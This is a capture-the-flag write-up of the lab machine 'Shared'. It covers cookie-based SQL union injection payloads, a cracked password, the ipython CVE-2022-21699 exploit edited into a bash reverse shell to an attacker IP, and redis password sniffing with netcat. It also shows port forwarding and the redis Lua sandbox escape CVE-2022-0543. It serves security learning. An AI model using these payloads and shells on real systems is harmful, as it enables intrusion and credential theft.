Shared
Summary
Running an nmap scan finds SSH and a basic online shop powered by PrestaShop at https://shared.htb. We add an item to the cart and try to checkout, which redirects us to checkout.shared.htb. The website knows which items are in our cart through a custom_cart cookie on the shared.htb domain. The cookie references the product code and the quantity that is in our cart. We manually perform a SQL union injection attack on this cookie and read a username and password hash, which can be cracked using CrackStation, from the database. With our credentials, we connect to the machine via SSH as the james_mason user.
Now that we are on the box, we run pspy and see ipython being executed on a schedule in a specific directory as the dan_smith user. Since the box is using ipython version 8.0.0, we use CVE-2022-21699 (GitHub advisory with proof-of-concept exploit) and get a reverse shell as dan_smith. We can now get the user.txt flag.
To escalate to root, we try connecting to a redis server we noticed when we ran pspy earlier. The redis server needs a password, so we run LinPEAS and find that we can execute /usr/local/bin/redis_connector_dev. The script is able to execute the info command on the redis server so it must have the password stored within it. From the redis documentation, we know that the password is sent in plain-text. So, we use netcat to capture the password from the program and then we use it to authenticate to the redis server running on the box. We try several exploits from HackTricks, but the LUA sandbox bypass ends up working. This is CVE-2022-0543 and a simple script is available at aodsec/CVE-2022-0543. We modify the script to use our password and then we get the root.txt flag!
Enumeration
Nmap
First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.172 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.172.
Nmap shows a redirect to shared.htb, so let's add that domain to /etc/hosts: echo "10.10.11.172 shared.htb" | sudo tee -a /etc/hosts.
Nginx (Port 80 & 443)
80 & 443)The HTTP version redirects to the HTTPS version. Looks like we have a basic online shop powered by PrestaShop (see footer):
The main page references a new checkout page (see above), so we should definitely investigate that.
Searching for "prestashop vulnerabilities" finds Major Security Vulnerability on PrestaShop Websites and Prestashop Security Issues: Top 7 Most Common Prestashop Attacks, which might be helpful later.
OWASP ZAP
I haven't used OWASP ZAP before and it seems like a cool tool. In ZAP, perform an automated scan against https://shared.htb/index.php. Make sure you have the beta and alpha "Active scanner rules" plugins installed so ZAP can detect more vulnerabilities. Then, create a policy with a low default threshold and a low attack strength. Apply those levels to all the rules in that policy. In Tools > Options, increase the "Concurrent Scanning Threads per Host" to something like 20 to speed up scan times. Additionally, in the tree on the left, you can right click a node and select Exclude from > Scanner to remove it from the scan and make the scan faster by only scanning the necessary components. Finally, run a new scan with your newly created policy against https://shared.htb.
Here is the complete progress table:
| Strength | Progress | Elapsed | Reqs | Alerts | Status | |
|---|---|---|---|---|---|---|
Analyser | 00:14.895 | 106 | ||||
Plugin | ||||||
Path Traversal | Low | 100 | 00:38.579 | 405 | 11 | Completed |
Remote File Inclusion | Low | 100 | 00:27.468 | 260 | 0 | Completed |
Source Code Disclosure - /WEB-INF folder | Low | 100 | 00:00.346 | 2 | 0 | Completed |
External Redirect | Low | 100 | 00:14.385 | 156 | 0 | Completed |
Server Side Include | Low | 100 | 00:23.401 | 208 | 0 | Completed |
Cross Site Scripting (Reflected) | Low | 100 | 01:21.525 | 708 | 0 | Completed |
Cross Site Scripting (Persistent) - Prime | Low | 100 | 00:06.167 | 52 | 0 | Completed |
Cross Site Scripting (Persistent) - Spider | Low | 100 | 00:04.903 | 187 | 0 | Completed |
Cross Site Scripting (Persistent) | Low | 100 | 00:03.520 | 0 | 0 | Completed |
SQL Injection | Low | 100 | 00:35.812 | 390 | 2 | Completed |
Server Side Code Injection | Low | 100 | 00:37.159 | 416 | 0 | Completed |
Remote OS Command Injection | Low | 100 | 01:08.598 | 780 | 0 | Completed |
Directory Browsing | Low | 100 | 00:15.279 | 187 | 0 | Completed |
Buffer Overflow | Low | 100 | 00:06.292 | 52 | 0 | Completed |
Format String Error | Low | 100 | 00:17.474 | 144 | 0 | Completed |
CRLF Injection | Low | 100 | 00:31.252 | 364 | 0 | Completed |
Parameter Tampering | Low | 100 | 00:41.855 | 364 | 0 | Completed |
ELMAH Information Leak | Low | 100 | 00:00.104 | 1 | 1 | Completed |
.htaccess Information Leak | Low | 100 | 00:03.139 | 67 | 66 | Completed |
Script Active Scan Rules | Low | 100 | 00:00.002 | 0 | 0 | Skipped, no scripts enabled. |
Source Code Disclosure - Git | Low | 100 | 00:03.102 | 0 | 0 | Completed |
Source Code Disclosure - File Inclusion | Low | 100 | 00:08.195 | 104 | 0 | Completed |
Remote Code Execution - Shell Shock | Low | 100 | 00:09.918 | 104 | 0 | Completed |
Httpoxy - Proxy Header Misuse | Low | 100 | 00:30.581 | 1305 | 0 | Completed |
Cross-Domain Misconfiguration | Low | 100 | 00:00.482 | 2 | 0 | Completed |
Heartbleed OpenSSL Vulnerability | Low | 100 | 00:00.843 | 5 | 0 | Completed |
Source Code Disclosure - CVE-2012-1823 | Low | 100 | 00:05.836 | 160 | 0 | Completed |
Remote Code Execution - CVE-2012-1823 | Low | 100 | 00:19.512 | 374 | 0 | Completed |
Session Fixation | Low | 100 | 00:02.833 | 0 | 0 | Completed |
SQL Injection - MySQL | Low | 100 | 00:18.062 | 208 | 0 | Completed |
SQL Injection - Hypersonic SQL | Low | 100 | 00:21.231 | 208 | 0 | Completed |
SQL Injection - Oracle | Low | 100 | 00:19.905 | 208 | 0 | Completed |
SQL Injection - PostgreSQL | Low | 100 | 00:20.243 | 208 | 0 | Completed |
SQL Injection - SQLite | Low | 100 | 00:13.886 | 104 | 0 | Completed |
Cross Site Scripting (DOM Based) | Low | 100 | 01:44.250 | 0 | 0 | Skipped, by user action. |
SQL Injection - MsSQL | Low | 100 | 00:05.257 | 90 | 0 | Completed |
XPath Injection | Low | 100 | 00:12.339 | 156 | 0 | Completed |
XML External Entity Attack | Low | 100 | 00:03.299 | 0 | 0 | Completed |
Generic Padding Oracle | Low | 100 | 00:03.686 | 0 | 0 | Completed |
Expression Language Injection | Low | 100 | 00:04.947 | 52 | 0 | Completed |
Cloud Metadata Potentially Exposed | Low | 100 | 00:00.483 | 1 | 1 | Completed |
Source Code Disclosure - SVN | Low | 100 | 00:04.496 | 145 | 132 | Completed |
Relative Path Confusion | Low | 100 | 00:03.488 | 39 | 0 | Completed |
Backup File Disclosure | Low | 100 | 01:13.116 | 1790 | 83 | Completed |
HTTP Only Site | Low | 100 | 00:00.014 | 0 | 0 | Completed |
Anti-CSRF Tokens Check | Low | 100 | 00:03.952 | 22 | 22 | Completed |
Integer Overflow Error | Low | 100 | 00:20.905 | 189 | 7 | Completed |
Proxy Disclosure | Low | 100 | 00:36.839 | 1496 | 104 | Completed |
Trace.axd Information Leak | Low | 100 | 00:03.199 | 67 | 12 | Completed |
.env Information Leak | Low | 100 | 00:03.093 | 67 | 67 | Completed |
Hidden File Finder | Low | 100 | 00:07.619 | 44 | 1 | Completed |
XSLT Injection | Low | 100 | 00:09.868 | 114 | 0 | Completed |
Insecure HTTP Method | Low | 100 | 00:10.245 | 187 | 0 | Completed |
HTTPS Content Available via HTTP | Low | 100 | 00:04.904 | 174 | 25 | Completed |
GET for POST | Low | 100 | 00:03.225 | 5 | 0 | Completed |
User Agent Fuzzer | Low | 100 | 00:41.962 | 484 | 464 | Skipped, by user action. |
HTTP Parameter Pollution | Low | 100 | 00:04.783 | 10 | 0 | Completed |
Possible Username Enumeration | Low | 100 | 00:00.001 | 0 | 0 | Skipped |
Cookie Slack Detector | Low | 100 | 00:16.495 | 738 | 184 | Completed |
Server Side Template Injection | Low | 100 | 00:20.898 | 212 | 0 | Completed |
Server Side Template Injection (Blind) | Low | 100 | 00:57.817 | 650 | 0 | Completed |
Totals | 18:30.655 | 17940 | 1183 |
The "Path Traversal" seems to be a false positive (it had a "low" confidence). We can check the SQL Injection as well with sqlmap. However, running sqlmap -u "https://shared.htb/index.php?controller=category&id_category=1" --random-agent --batch -p id_category --level 3 --risk 2 doesn't find anything.
Exploring the Website
Alright, that's enough messing around with ZAP. Let's explore the application. Let's add an item to the cart:
Clicking "Proceed to Checkout" redirects to checkout.shared.htb. So, let's add that to our /etc/hosts: echo "10.10.11.172 checkout.shared.htb" | sudo tee -a /etc/hosts.
Since we found this virtual host, let's scan for others with ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://shared.htb/ -H "Host: FUZZ.shared.htb" -fs 169:
This only finds www so nothing interesting.
Anyway, clicking "Pay" on checkout.shared.htb only shows an alert message and does nothing else, as shown by the HTML for the "Pay" button: <a href="#" class="btn btn-success my-3" onclick="alert('Your payment was successfully received');">Pay<i class="ml-2"></i></a>.
However, looking at the request to load the page shows a custom_cart cookie:
The cookie is %7B%2253GG2EF8%22%3A%221%22%7D and URL decoding it returns {"53GG2EF8":"1"}. This looks like a product ID and a quantity. Sure enough, adding another item to the cart gives us {"53GG2EF8":"1","562XZDU8":"1"}.
Foothold
We have a product ID, which is a good candidate for SQL injection because e-commerce sites usually "store the products and their characteristics (price, description, availability, etc)... in a database" (source). We can quickly test for a SQL injection by setting this cookie to {"53GG2'+'EF8":"1"}. This is a query that will evaluate to the same value originally if it is being ran as SQL. Sure enough, we get the same page. So, we have a SQL injection within this cookie.
I recommend using BurpSuite for the rest of this part since it makes sending the request with the URL encoded payload much easier than manually URL encoding and editing the cookie within a browser.
This page from PortSwigger is a good introduction to SQL injections. In this case, we can use a SQL union injection. We will determine the number of columns in the query by appending ' ORDER BY 1-- and incrementing until we get a "Not Found" shown on the page. When we try {"53GG2EF8' ORDER BY 4-- ":"1"}, we get "Not Found," so 3 is the number of columns. The ORDER BY command "modifies the original query to order the results by different columns in the result set" (source).
Next, we will add AND 0=1 to prevent the first part of the query from running since 0=1 always evaluates to false. After that, we will add a UNION SELECT statement to see which columns are shown on the page. So, our final query if {"53GG2EF8' and 0=1 union select 2,4,8-- ":"1"}:
The 4 is shown under the "Product" heading, so that is the column we have control over.
We can use the database() function to ge the current database: {"53GG2EF8' and 0=1 union select 2,database(),8-- ":"1"}. This causes the "Product" column to show checkout, so the current database is checkout.
Next, we get the tables in the checkout database by running {"53GG2EF8' and 0=1 union select 2,group_concat(table_name),8 from information_schema.tables WHERE table_schema = 'checkout'-- ":"1"} (based on the command from this StackOverflow answer). This gives us user,product.
After that, we use {"53GG2EF8' and 0=1 union select 2,group_concat(column_name),8 from information_schema.columns WHERE table_schema = 'checkout' and table_name='user'-- ":"1"} (based on the command from this StackOverflow answer) to get the columns. As output, we get id,username,password in the "Product" column.
We can get the username with {"53GG2EF8' and 0=1 union select 2,username,8 from checkout.user-- ":"1"}: james_mason.
And we can get the password with {"53GG2EF8' and 0=1 union select 2,password,8 from checkout.user-- ":"1"}: fc895d4eddc2fc12f995e18c865cf273. Putting this hash into CrackStation gives us the password: Soleil101.
Using these credentials to connect over SSH works: ssh james_mason@shared.htb with password Soleil101.
Lateral Movement
We reconnect using pwncat to make it easy to copy files.
We run pspy and see the below output:
We have a redis-server being started on localhost port 6379. We also have ipython being executed in the /opt/scripts_review/ directory, which looks promising. ipython is executed as UID 1001, which is the dan_smith user according to /etc/passwd.
Running ipython --version tells us that it is version 8.0.0. Searching for "" finds the program in Snyk's vulnerability database, which points us to this vulnerability, which directs us to the IPython release notes, which talk about CVE-2022-21699. Version 8.0.0 is "subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine." This is exactly what we want.
The GitHub advisory contains a proof-of-concept:
Let's edit this to create a reverse shell instead. We use the standard bash reverse shell (bash -c 'bash -i >& /dev/tcp/10.10.14.98/49113 0>&1') and just pass it to os.system():
Start a listener with nc -lvnp 49113 (or using pwncat). After a few seconds or minutes, we get a reverse shell as dan_smith! We can now get the user.txt flag by running cat ~/user.txt.
Privilege Escalation
We can get persistance by grabbing dan_smith's private ssh key located at ~/.ssh/id_rsa.
We saw a redis server being executed earlier. Looking at the open ports with netstat -lntu shows the following:
Sure enough, port 6379 is open. Port 3306, which is the default MariaDB port, is also open. That is likely the database that we were able to inject to get access to the box as james_mason.
We find the credentials to the database in /var/www/checkout.shared.htb/config/db.php, but it doesn't contain any new information.
Back to redis. Looking at HackTrick's guide for redis, the first thing we should do is connect with redis-cli, which is installed on the box for us, and run info:
Looks like we are going to need some credentials.
Upload LinPEAS and run with ./linpeas.sh -a 2>&1 | tee linpeas_report.txt. Download the report with download linepeas_report.txt in the local terminal within pwncat. You can open linpeas_report.txt with less -R linpeas_report.txt.
LinPEAS finds this:
This is a file at /usr/local/bin/redis_connector_dev that we can read. Simply executing the file shows the following:
The script is able to execute the info command on the redis server so it must have the password stored within it (or it reads it from somewhere). We download the file with pwncat: redis_connector_dev.
Running strings on the binary is useless since it is so large. The redis documentation says "When the authorization layer is enabled, Redis will refuse any query by unauthenticated clients. A client can authenticate itself by sending the AUTH command followed by the password... Since the AUTH command, like every other Redis command, is sent unencrypted, it does not protect against an attacker that has enough access to the network to perform eavesdropping."
So, we should be able to set up a netcat listener on the default redis port and see the password printed out for us. Start the listener with nc -nvlp 6379 and then run the binary:
It seems like F2WHqJUz2WEz=Gqq is the password.
Back on the target machine, we run redis-cli again to connect. We can use the AUTH command to authenticate, but we need a username? The shell makes it look like we do, but the username is optional, which is clarified in the AUTH command documentation. HackTricks also has some details about authentication.
Running AUTH F2WHqJUz2WEz=Gqq authenticates us and then we run the info command to see that the redis version is 6.0.15. Looking at the changelog, we see that version 6.0.16 patched 8 CVEs, so any one of those might be helpful:
Security Fixes:
(CVE-2021-41099) Integer to heap buffer overflow handling certain string commands and network payloads, when proto-max-bulk-len is manually configured to a non-default, very large value [reported by yiyuaner].
(CVE-2021-32762) Integer to heap buffer overflow issue in redis-cli and redis-sentinel parsing large multi-bulk replies on some older and less common platforms [reported by Microsoft Vulnerability Research].
(CVE-2021-32687) Integer to heap buffer overflow with intsets, when set-max-intset-entries is manually configured to a non-default, very large value [reported by Pawel Wieczorkiewicz, AWS].
(CVE-2021-32675) Denial Of Service when processing RESP request payloads with a large number of elements on many connections.
(CVE-2021-32672) Random heap reading issue with Lua Debugger [reported by Meir Shpilraien].
(CVE-2021-32628) Integer to heap buffer overflow handling ziplist-encoded data types, when configuring a large, non-default value for hash-max-ziplist-entries, hash-max-ziplist-value, zset-max-ziplist-entries or zset-max-ziplist-value [reported by sundb].
(CVE-2021-32627) Integer to heap buffer overflow issue with streams, when configuring a non-default, large value for proto-max-bulk-len and client-query-buffer-limit [reported by sundb].
(CVE-2021-32626) Specially crafted Lua scripts may result with Heap buffer overflow [reported by Meir Shpilraien].
From HackTricks, I try the load redis module section, but that doesn't work:
Under the LUA sandbox bypass heading, HackTricks links to aodsec/CVE-2022-0543, which exploits CVE-2022-0543.
We get the linked repo setup by running these commands:
However, before we can run it we need to forward the redis port to our attacker machine, which we can do using chisel. Run ./chisel server -p 34295 --reverse on your attacker machine and then run ./chisel client 10.10.14.98:34295 R:6379:127.0.0.1:6379 on the target. You can upload chisel easily with pwncat by running upload tools/chisel in the local shell of pwncat.
Finally, run the exploit script with python CVE-2022-0543.py. This produces an error: redis.exceptions.AuthenticationError: Authentication required because we didn't provide our password. We can easily modify the scipt and add the password by changing this line r = redis.Redis(host = ip,port = port) to this r = redis.Redis(host = ip,port = port,password="F2WHqJUz2WEz=Gqq") (password argument name found in this StackOverflow answer).
Now, we can actually run the exploit script:
Run /root/root.txt to get the root.txt flag.
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